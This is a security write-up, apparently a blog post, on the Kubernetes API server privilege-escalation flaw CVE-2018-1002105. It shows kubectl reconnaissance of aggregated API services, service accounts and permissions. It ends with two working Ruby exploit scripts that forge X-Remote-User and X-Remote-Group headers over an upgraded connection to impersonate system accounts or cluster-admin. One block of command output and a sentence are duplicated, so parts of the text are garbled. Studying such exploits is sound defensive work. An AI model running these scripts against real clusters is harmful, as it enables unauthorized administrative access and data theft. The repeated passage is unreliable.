- Aggregated API Servers configured
- Grant Pod attach/exec/portforward permissions
Aggregated API Servers
List of aggregated API servers configured in the cluster$ kubectl get apiservices -o 'jsonpath={range .items[?(@.spec.service.name!="")]}{.metadata.name}{"\n"}{end}'
v1beta1.metrics.k8s.io
v1beta1.servicecatalog.k8s.io
Most of the time metrics aggregation service comes from the vendors and installed by default on kubernetes clusters. Service Catalog is installed by cluster admins based on requirements.
Metrics server details
$ kubectl get apiservices v1beta1.metrics.k8s.io -o json{
"apiVersion": "apiregistration.k8s.io/v1",
"kind": "APIService",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"apiregistration.k8s.io/v1beta1\",\"kind\":\"APIService\",\"metadata\":{\"annotations\":{},\"labels\":{\"addonmanager.kubernetes.io/mode\":\"Reconcile\",\"kubernetes.io/minikube-addons\":\"metrics-server\"},\"name\":\"v1beta1.metrics.k8s.io\",\"namespace\":\"\"},\"spec\":{\"group\":\"metrics.k8s.io\",\"groupPriorityMinimum\":100,\"insecureSkipTLSVerify\":true,\"service\":{\"name\":\"metrics-server\",\"namespace\":\"kube-system\"},\"version\":\"v1beta1\",\"versionPriority\":100}}\n"
},
"creationTimestamp": "2018-12-18T21:52:00Z",
"labels": {
"addonmanager.kubernetes.io/mode": "Reconcile",
"kubernetes.io/minikube-addons": "metrics-server"
},
"name": "v1beta1.metrics.k8s.io",
"resourceVersion": "13945",
"selfLink": "/apis/apiregistration.k8s.io/v1/apiservices/v1beta1.metrics.k8s.io",
"uid": "25c4530a-030f-11e9-8cd1-0800276668cf"
},
"spec": {
"caBundle": null,
"group": "metrics.k8s.io",
"groupPriorityMinimum": 100,
"insecureSkipTLSVerify": true,
"service": {
"name": "metrics-server",
"namespace": "kube-system"
},
"version": "v1beta1",
"versionPriority": 100
},
"status": {
"conditions": [
{
"lastTransitionTime": "2018-12-19T20:25:23Z",
"message": "all checks passed",
"reason": "Passed",
"status": "True",
"type": "Available"
}
]
}
}
Catalog server details
$ kubectl get apiservices v1beta1.servicecatalog.k8s.io -o json{
"apiVersion": "apiregistration.k8s.io/v1",
"kind": "APIService",
"metadata": {
"creationTimestamp": "2018-12-19T21:47:13Z",
"name": "v1beta1.servicecatalog.k8s.io",
"resourceVersion": "16958",
"selfLink": "/apis/apiregistration.k8s.io/v1/apiservices/v1beta1.servicecatalog.k8s.io",
"uid": "a5162df4-03d7-11e9-b1ef-0800276668cf"
},
"spec": {
"caBundle": "LS0tLS1...URS0tLS0tCg==",
"group": "servicecatalog.k8s.io",
"groupPriorityMinimum": 10000,
"service": {
"name": "catalog-catalog-apiserver",
"namespace": "catalog"
},
"version": "v1beta1",
"versionPriority": 20
},
"status": {
"conditions": [
{
"lastTransitionTime": "2018-12-19T21:48:27Z",
"message": "all checks passed",
"reason": "Passed",
"status": "True",
"type": "Available"
}
]
}
}
Resources under different aggregated API's
$ kubectl api-resources | grep -i garden.sapcloud.io
backupinfrastructures backupinfra garden.sapcloud.io true BackupInfrastructure
cloudprofiles garden.sapcloud.io false CloudProfile
projects garden.sapcloud.io false Project
quotas squota garden.sapcloud.io true Quota
secretbindings sb garden.sapcloud.io true SecretBinding
seeds garden.sapcloud.io false Seed
shoots garden.sapcloud.io true Shoot
$ kubectl api-resources | grep -i metrics.k8s.io
nodes metrics.k8s.io false NodeMetrics
pods metrics.k8s.io true PodMetrics
$ kubectl api-resources | grep -iE "servicecatalog.k8s.io|namespace"
NAME SHORTNAMES APIGROUP NAMESPACED KIND
clusterservicebrokers servicecatalog.k8s.io false ClusterServiceBroker
clusterserviceclasses servicecatalog.k8s.io false ClusterServiceClass
clusterserviceplans servicecatalog.k8s.io false ClusterServicePlan
servicebindings servicecatalog.k8s.io true ServiceBinding
servicebrokers servicecatalog.k8s.io true ServiceBroker
serviceclasses servicecatalog.k8s.io true ServiceClass
serviceinstances servicecatalog.k8s.io true ServiceInstance
serviceplans servicecatalog.k8s.io true ServicePlan
According to Kubernetes Github vulnerability description:
$ kubectl api-resources | grep -i garden.sapcloud.io
backupinfrastructures backupinfra garden.sapcloud.io true BackupInfrastructure
cloudprofiles garden.sapcloud.io false CloudProfile
projects garden.sapcloud.io false Project
quotas squota garden.sapcloud.io true Quota
secretbindings sb garden.sapcloud.io true SecretBinding
seeds garden.sapcloud.io false Seed
shoots garden.sapcloud.io true Shoot
$ kubectl api-resources | grep -i metrics.k8s.io
nodes metrics.k8s.io false NodeMetrics
pods metrics.k8s.io true PodMetrics
$ kubectl api-resources | grep -iE "servicecatalog.k8s.io|namespace"
NAME SHORTNAMES APIGROUP NAMESPACED KIND
clusterservicebrokers servicecatalog.k8s.io false ClusterServiceBroker
clusterserviceclasses servicecatalog.k8s.io false ClusterServiceClass
clusterserviceplans servicecatalog.k8s.io false ClusterServicePlan
servicebindings servicecatalog.k8s.io true ServiceBinding
servicebrokers servicecatalog.k8s.io true ServiceBroker
serviceclasses servicecatalog.k8s.io true ServiceClass
serviceinstances servicecatalog.k8s.io true ServiceInstance
serviceplans servicecatalog.k8s.io true ServicePlan
According to Kubernetes Github vulnerability description:
With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.
Service Accounts/Users
Default service-accounts inside a kubernetes cluster
$ kubectl get sa --all-namespaces
NAMESPACE NAME SECRETS AGE
catalog default 1 1h
catalog service-catalog-apiserver 1 1h
catalog service-catalog-controller-manager 1 1h
default default 1 1d
kube-public default 1 1d
kube-system attachdetach-controller 1 1d
kube-system bootstrap-signer 1 1d
kube-system certificate-controller 1 1d
kube-system clusterrole-aggregation-controller 1 1d
kube-system cronjob-controller 1 1d
kube-system daemon-set-controller 1 1d
kube-system default 1 1d
kube-system deployment-controller 1 1d
kube-system disruption-controller 1 1d
kube-system endpoint-controller 1 1d
kube-system generic-garbage-collector 1 1d
kube-system horizontal-pod-autoscaler 1 1d
kube-system job-controller 1 1d
kube-system kube-dns 1 1d
kube-system kube-proxy 1 1d
kube-system namespace-controller 1 1d
kube-system nginx-ingress 1 1d
kube-system node-controller 1 1d
kube-system persistent-volume-binder 1 1d
kube-system pod-garbage-collector 1 1d
kube-system pv-protection-controller 1 1d
kube-system pvc-protection-controller 1 1d
kube-system replicaset-controller 1 1d
kube-system replication-controller 1 1d
kube-system resourcequota-controller 1 1d
kube-system service-account-controller 1 1d
kube-system service-controller 1 1d
kube-system statefulset-controller 1 1d
kube-system storage-provisioner 1 1d
kube-system token-cleaner 1 1d
kube-system ttl-controller 1 1d
pd default 1 1d
These service accounts can also be accessed in the form
system:serviceaccount:my-namespace:my-serviceaccount-name
for example system:serviceaccount:kube-system:horizontal-pod-autoscalerPermissions
Check want permissions a service account has$ kubectl auth can-i create pods --all-namespaces
yes
$ kubectl auth can-i create pods --all-namespaces --as system:serviceaccount:kube-system:horizontal-pod-autoscaler
no
$ kubectl auth can-i create pods --all-namespaces --as system:serviceaccount:kube-system:default
yes
$ kubectl auth can-i exec pods --all-namespaces --as system:serviceaccount:catalog:service-catalog-controller-manager
no
$ kubectl auth can-i exec pods --all-namespaces --as system:serviceaccount:kube-system:default
yes
API Server
API Server admission controller parameters$ kubectl get po kube-apiserver-minikube -n kube-system -o yaml
....
spec:
containers:
- command:
- kube-apiserver
- --admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota
- --insecure-port=0
- --requestheader-group-headers=X-Remote-Group
- --requestheader-extra-headers-prefix=X-Remote-Extra-
- --client-ca-file=/var/lib/minikube/certs/ca.crt
- --tls-cert-file=/var/lib/minikube/certs/apiserver.crt
- --kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key
- --proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt
- --proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key
- --secure-port=8443
- --enable-bootstrap-token-auth=true
- --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
- --requestheader-username-headers=X-Remote-User
- --service-account-key-file=/var/lib/minikube/certs/sa.pub
- --requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt
- --allow-privileged=true
- --requestheader-allowed-names=front-proxy-client
- --advertise-address=192.168.99.100
- --service-cluster-ip-range=10.96.0.0/12
- --tls-private-key-file=/var/lib/minikube/certs/apiserver.key
- --kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt
- --authorization-mode=Node,RBAC
- --etcd-servers=https://127.0.0.1:2379
- --etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt
- --etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt
- --etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key
To find out clusters API Server details
$ kubectl cluster-info
Kubernetes master is running at https://192.168.99.100:8443
KubeDNS is running at https://192.168.99.100:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
PoC/Exploit
There are two exploits available in the wild based on "Aggregated API Servers", no PoC's we found leveraging "Grant Pod attach/exec/portforward permissions".Exploit 1: source [03]
#!/usr/bin/env rubyrequire 'socket'
require 'openssl'
require 'json'
host = 'kubernetes'
metrics = '/apis/metrics.k8s.io/v1beta1'
sock = TCPSocket.new host, 8443
ssl = OpenSSL::SSL::SSLSocket.new sock
ssl.sync_close = true
ssl.connect
ssl.puts "GET #{metrics} HTTP/1.1\r\nHost: #{host}\r\nUpgrade: WebSocket\r\nConnection: upgrade\r\n\r\n"
6.times { puts ssl.gets }
ssl.puts "GET #{metrics}/pods HTTP/1.1\r\nHost: #{host}\r\nX-Remote-User: system:serviceaccount:kube-system:horizontal-pod-autoscaler\r\n\r\n"
6.times { puts ssl.gets }
puts JSON.pretty_generate JSON.parse ssl.gets
ssl.close
Exploit 2: based on [04]
#!/usr/bin/env rubyrequire 'socket'
require 'openssl'
require 'json'
host = 'kubernetes'
scatalog = '/apis/servicecatalog.k8s.io'
sock = TCPSocket.new host, 8443
ssl = OpenSSL::SSL::SSLSocket.new sock
ssl.sync_close = true
ssl.connect
ssl.puts "GET #{scatalog} HTTP/1.1\r\nHost: #{host}\r\nUpgrade: WebSocket\r\nConnection: upgrade\r\n\r\n"
6.times { puts ssl.gets }
ssl.puts "GET #{scatalog}/clusterservicebrokers HTTP/1.1\r\nHost: #{host}\r\nX-Remote-User: cluster-admin\r\nX-Remote-Group: system:masters\r\nX-Remote-Group: system:authenticated\r\n\r\n"
6.times { puts ssl.gets }
puts JSON.pretty_generate JSON.parse ssl.gets
ssl.close
References
[01] http://blog.disects.com/2018/12/kubernetes-privilege-escalation-cve.html[02] https://github.com/kubernetes/kubernetes/issues/71411
[03] https://www.twistlock.com/labs-blog/demystifying-kubernetes-cve-2018-1002105-dead-simple-exploit/
[04] https://github.com/evict/poc_CVE-2018-1002105